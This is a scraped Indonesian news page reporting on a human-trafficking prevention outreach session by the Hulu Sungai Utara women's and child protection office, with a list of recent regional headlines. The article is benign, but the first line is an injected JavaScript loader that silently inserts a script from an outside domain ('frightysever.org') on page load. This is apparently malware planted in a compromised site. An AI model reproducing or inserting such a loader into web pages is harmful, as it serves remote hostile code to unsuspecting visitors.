(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Cegah Tindak Perdagangan Orang, Ini yang Dilakukan DPPPA HSU


KANALKALIMANTAN.COM,AMUNTAI – Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Kabupaten Hulu Sungai Utara (HSU) menggelar sosialisasi Pencegahan Tindak Pidana Perdagangan Orang (TPPO) di Kabupaten HSU, Selasa (11/8/2021).

Acara yang berlangsung di aula DPPPA HSU diikuti oleh aparat desa, kelurahan, Bhabinkamtibmas, Bhabinsa dan dinas terkait mengantisipasi dan penanganan di wilayah masing-masing.

Kepala DPPPA HSU, Hj Gusti Iskandariah mengatakan, sosialisasi ini dilakukan setelah adanya isu perdagangan orang di HSU.

Sempat ada kasus ibu muda yang dikarenakan faktor ekonomi, permasalahan keluarga di masa pandemi seperti sekarang ini, tergiur ajakan seseorang sehingga sempat meninggalkan keluarganya.

 

 

Baca juga: Aturan Perjalanan Dinas Membuat Keropos Integritas KPK

“Meski rumit akhirnya DPPPA HSU dibantu pihak kepolisian dapat memulangkan ibu muda tersebut kembali ke keluarganya,” jelas Gusti Iskandariah.

Ia mengharapkan melalui kegiatan ini dapat memperkuat peranan orang tua, tokoh masyarakat, aparat di sekitar lingkungan masyarakat untuk dapat mengantisipasi terkait human trafficking.

Sosialisasi Pencegahan Tindak Pidana Perdagangan Orang (TPPO) di Kabupaten HSU, Selasa (11/8/2021). Foto: dew

“Melalui kegiatan ini, kita mencoba menyelesaikan permasalahan-permasalahan yang ada di lingkungan kita masing-masing,” kata Gusti Iskandariah.

Ia menilai perlunya percepatan penanganan dan antisipasi pencegahan TPPO bagi seluruh pihak terutama bagi orangtua, keluarga, hingga aparat desa serempat.

Baca juga: PPKM Level 4 Diperpanjang hingga 16 Agustus, Termasuk Banjarmasin dan Banjarbaru!

Selain sosialisasi, ia juga mengharapkan kegiatan ini juga menjadi forum dialog terkait inovasi pencegahan tindak pidana perdagangan orang di Kabupaten HSU.

“Melalui kegiatan ini, informasi apa yang perlu kita dapatkan, sebagai bahan untuk melindungi perempuan, untuk melindungi keluarga kita terkait pencegahan TPPO,” imbuhnya.

Disamping membentuk anggota gugus tugas pencegahan TPPO, sosialisasi ini juga bertujuan untuk menyosialisasikan tindakan preventif, prosedur serta penanganan dalam kasus tindakan pidana perdagangan orang. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Risa

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

24 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

24 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

1 hari ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

1 hari ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

2 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 hari ago

This website uses cookies.